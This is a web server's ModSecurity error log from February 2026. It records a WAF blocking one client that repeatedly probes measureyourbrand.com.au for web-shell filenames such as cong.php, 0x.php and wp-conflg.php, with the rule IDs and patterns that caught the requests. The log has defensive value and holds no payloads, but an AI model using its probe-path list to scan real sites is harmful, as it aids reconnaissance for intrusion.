[Tue Feb 03 23:13:16.495414 2026] [:error] [pid 43028:tid 43030] [client 20.194.44.29:5320] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aYIQjFnHWnJD4cJC5DvhfwAAAMA"]
[Tue Feb 03 23:13:17.897275 2026] [:error] [pid 5229:tid 5253] [client 20.194.44.29:37409] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aYIQjUKmEgmJub93yUosigAAAZY"]
[Tue Feb 03 23:13:18.905075 2026] [:error] [pid 43028:tid 43051] [client 20.194.44.29:44309] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aYIQjlnHWnJD4cJC5DvhhQAAANU"]
[Tue Feb 03 23:13:20.232117 2026] [:error] [pid 28720:tid 28744] [client 20.194.44.29:52777] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aYIQkGmRXm2bmr_sYib1cAAAARY"]
[Tue Feb 03 23:13:23.885747 2026] [:error] [pid 5148:tid 5163] [client 20.194.44.29:9748] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aYIQk783HCHLtUIbS7IPoAAAAUw"]
[Tue Feb 03 23:13:25.456781 2026] [:error] [pid 42920:tid 42947] [client 20.194.44.29:53483] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aYIQlSix3YKltG4EU0mpXQAAABI"]
[Tue Feb 03 23:13:26.850191 2026] [:error] [pid 5229:tid 5231] [client 20.194.44.29:52779] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aYIQlkKmEgmJub93yUoslwAAAYA"]
[Tue Feb 03 23:13:51.469511 2026] [:error] [pid 5229:tid 5247] [client 20.194.44.29:9910] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/cong.php"] [unique_id "aYIQr0KmEgmJub93yUoszQAAAZA"]
[Tue Feb 03 23:13:53.107732 2026] [:error] [pid 42921:tid 42979] [client 20.194.44.29:52754] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/cong.php"] [unique_id "aYIQsYblShffGl-01oedTgAAAFU"]
[Tue Feb 03 23:13:55.515054 2026] [:error] [pid 28720:tid 28722] [client 20.194.44.29:44328] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/cong.php"] [unique_id "aYIQs2mRXm2bmr_sYib1qwAAAQA"]
[Tue Feb 03 23:13:56.955400 2026] [:error] [pid 5148:tid 5151] [client 20.194.44.29:12000] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/cong.php"] [unique_id "aYIQtL83HCHLtUIbS7IP1gAAAUA"]
[Tue Feb 03 23:13:58.529693 2026] [:error] [pid 5148:tid 5159] [client 20.194.44.29:53440] [client 20.194.44.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aYIQtr83HCHLtUIbS7IP2QAAAUg"]
[Tue Feb 03 23:14:09.373330 2026] [:error] [pid 42922:tid 42990] [client 20.194.44.29:11982] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aYIQwWazX4WPS_dQRkjAWAAAAIU"]
[Tue Feb 03 23:14:11.756168 2026] [:error] [pid 28720:tid 28743] [client 20.194.44.29:57425] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aYIQw2mRXm2bmr_sYib1wwAAARU"]
[Tue Feb 03 23:14:15.634100 2026] [:error] [pid 42920:tid 42930] [client 20.194.44.29:15032] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "aYIQxyix3YKltG4EU0mpkAAAAAE"]
[Tue Feb 03 23:14:16.673353 2026] [:error] [pid 43028:tid 43053] [client 20.194.44.29:19339] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "aYIQyFnHWnJD4cJC5DvhqAAAANc"]
[Tue Feb 03 23:14:18.278341 2026] [:error] [pid 42920:tid 42931] [client 20.194.44.29:43424] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "aYIQyiix3YKltG4EU0mpkwAAAAI"]
[Tue Feb 03 23:14:25.325614 2026] [:error] [pid 5229:tid 5235] [client 20.194.44.29:55171] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "aYIQ0UKmEgmJub93yUos9AAAAYQ"]
[Tue Feb 03 23:14:25.918614 2026] [:error] [pid 43028:tid 43040] [client 20.194.44.29:5902] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aYIQ0VnHWnJD4cJC5DvhwgAAAMo"]
[Tue Feb 03 23:14:28.025965 2026] [:error] [pid 5148:tid 5169] [client 20.194.44.29:15021] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aYIQ1L83HCHLtUIbS7IQAwAAAVI"]
[Tue Feb 03 23:14:29.654260 2026] [:error] [pid 5229:tid 5239] [client 20.194.44.29:15017] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aYIQ1UKmEgmJub93yUos-wAAAYg"]
[Tue Feb 03 23:14:30.223545 2026] [:error] [pid 28720:tid 28731] [client 20.194.44.29:5898] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aYIQ1mmRXm2bmr_sYib10gAAAQk"]
[Tue Feb 03 23:14:32.786000 2026] [:error] [pid 5148:tid 5160] [client 20.194.44.29:8343] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aYIQ2L83HCHLtUIbS7IQCgAAAUk"]
[Tue Feb 03 23:14:35.200626 2026] [:error] [pid 5148:tid 5155] [client 20.194.44.29:55229] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aYIQ2783HCHLtUIbS7IQDgAAAUQ"]
[Tue Feb 03 23:14:37.326687 2026] [:error] [pid 5148:tid 5165] [client 20.194.44.29:11074] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aYIQ3b83HCHLtUIbS7IQEAAAAU4"]
[Tue Feb 03 23:14:48.867035 2026] [:error] [pid 5148:tid 5158] [client 43.153.54.14:33830] [client 43.153.54.14] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aYIQ6L83HCHLtUIbS7IQHwAAAUc"]
[Tue Feb 03 23:14:53.438605 2026] [:error] [pid 42922:tid 42993] [client 20.194.44.29:11091] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aYIQ7WazX4WPS_dQRkjAjQAAAIg"]
[Tue Feb 03 23:14:54.258415 2026] [:error] [pid 42920:tid 42944] [client 20.194.44.29:11114] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aYIQ7iix3YKltG4EU0mpqwAAAA8"]
[Tue Feb 03 23:14:57.294492 2026] [:error] [pid 42921:tid 42967] [client 20.194.44.29:5191] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aYIQ8YblShffGl-01oediwAAAEk"]
[Tue Feb 03 23:15:01.972287 2026] [:error] [pid 5229:tid 5243] [client 20.194.44.29:5905] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aYIQ9UKmEgmJub93yUotOAAAAYw"]
[Tue Feb 03 23:15:03.586940 2026] [:error] [pid 42921:tid 42965] [client 20.194.44.29:5151] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aYIQ94blShffGl-01oedjQAAAEc"]
[Tue Feb 03 23:15:08.916914 2026] [:error] [pid 28720:tid 28727] [client 20.194.44.29:55763] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aYIQ_GmRXm2bmr_sYib17gAAAQU"]
[Tue Feb 03 23:15:09.723763 2026] [:error] [pid 43028:tid 43045] [client 20.194.44.29:5244] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aYIQ_VnHWnJD4cJC5DviDAAAAM8"]
[Tue Feb 03 23:15:12.204591 2026] [:error] [pid 5148:tid 5174] [client 20.194.44.29:55207] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aYIRAL83HCHLtUIbS7IQMwAAAVc"]
[Tue Feb 03 23:15:14.984651 2026] [:error] [pid 42921:tid 42970] [client 20.194.44.29:5153] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aYIRAoblShffGl-01oedkwAAAEw"]
[Tue Feb 03 23:15:15.744686 2026] [:error] [pid 43028:tid 43033] [client 20.194.44.29:5220] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aYIRA1nHWnJD4cJC5DviGAAAAMM"]
[Tue Feb 03 23:15:23.654220 2026] [:error] [pid 5148:tid 5164] [client 20.194.44.29:11120] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aYIRC783HCHLtUIbS7IQOAAAAU0"]
[Tue Feb 03 23:15:24.896038 2026] [:error] [pid 42921:tid 42968] [client 20.194.44.29:54012] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aYIRDIblShffGl-01oedmwAAAEo"]
[Tue Feb 03 23:15:32.589274 2026] [:error] [pid 42920:tid 42929] [client 20.194.44.29:5936] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aYIRFCix3YKltG4EU0mpyQAAAAA"]
[Tue Feb 03 23:15:35.692418 2026] [:error] [pid 42922:tid 42990] [client 20.194.44.29:55038] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aYIRF2azX4WPS_dQRkjArAAAAIU"]
[Tue Feb 03 23:15:39.238618 2026] [:error] [pid 42922:tid 42994] [client 20.194.44.29:9287] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aYIRG2azX4WPS_dQRkjAsQAAAIk"]
[Tue Feb 03 23:15:50.827245 2026] [:error] [pid 5229:tid 5237] [client 20.194.44.29:34223] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aYIRJkKmEgmJub93yUotbQAAAYY"]
[Tue Feb 03 23:15:56.569793 2026] [:error] [pid 28720:tid 28743] [client 20.194.44.29:55007] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aYIRLGmRXm2bmr_sYib2HgAAARU"]
[Tue Feb 03 23:15:58.005015 2026] [:error] [pid 43028:tid 43043] [client 20.194.44.29:10889] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aYIRLlnHWnJD4cJC5DviWwAAAM0"]
[Tue Feb 03 23:15:59.444593 2026] [:error] [pid 28720:tid 28744] [client 20.194.44.29:34231] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aYIRL2mRXm2bmr_sYib2IQAAARY"]
[Tue Feb 03 23:16:01.237090 2026] [:error] [pid 5148:tid 5163] [client 20.194.44.29:6059] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aYIRMb83HCHLtUIbS7IQXQAAAUw"]
[Tue Feb 03 23:16:02.664126 2026] [:error] [pid 5229:tid 5254] [client 20.194.44.29:9702] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aYIRMkKmEgmJub93yUotggAAAZc"]
[Tue Feb 03 23:16:03.658624 2026] [:error] [pid 5229:tid 5242] [client 20.194.44.29:8494] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aYIRM0KmEgmJub93yUothAAAAYs"]
[Tue Feb 03 23:16:08.897159 2026] [:error] [pid 5229:tid 5252] [client 20.194.44.29:8487] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aYIROEKmEgmJub93yUotlAAAAZU"]
[Tue Feb 03 23:16:27.250152 2026] [:error] [pid 43028:tid 43038] [client 20.194.44.29:34192] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/item.php"] [unique_id "aYIRS1nHWnJD4cJC5DvikgAAAMg"]
[Tue Feb 03 23:16:37.656293 2026] [:error] [pid 28720:tid 28745] [client 20.194.44.29:16631] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aYIRVWmRXm2bmr_sYib2QAAAARc"]
[Tue Feb 03 23:17:12.359326 2026] [:error] [pid 5229:tid 5243] [client 20.194.44.29:54951] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mail.php"] [unique_id "aYIReEKmEgmJub93yUot9QAAAYw"]
[Tue Feb 03 23:17:34.739416 2026] [:error] [pid 42920:tid 42940] [client 20.194.44.29:54952] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aYIRjiix3YKltG4EU0mqMwAAAAs"]
[Tue Feb 03 23:17:36.494045 2026] [:error] [pid 43028:tid 43038] [client 20.194.44.29:9940] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aYIRkFnHWnJD4cJC5Dvi9QAAAMg"]
[Tue Feb 03 23:17:37.520700 2026] [:error] [pid 42921:tid 42977] [client 20.194.44.29:54968] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aYIRkYblShffGl-01oeeRAAAAFM"]
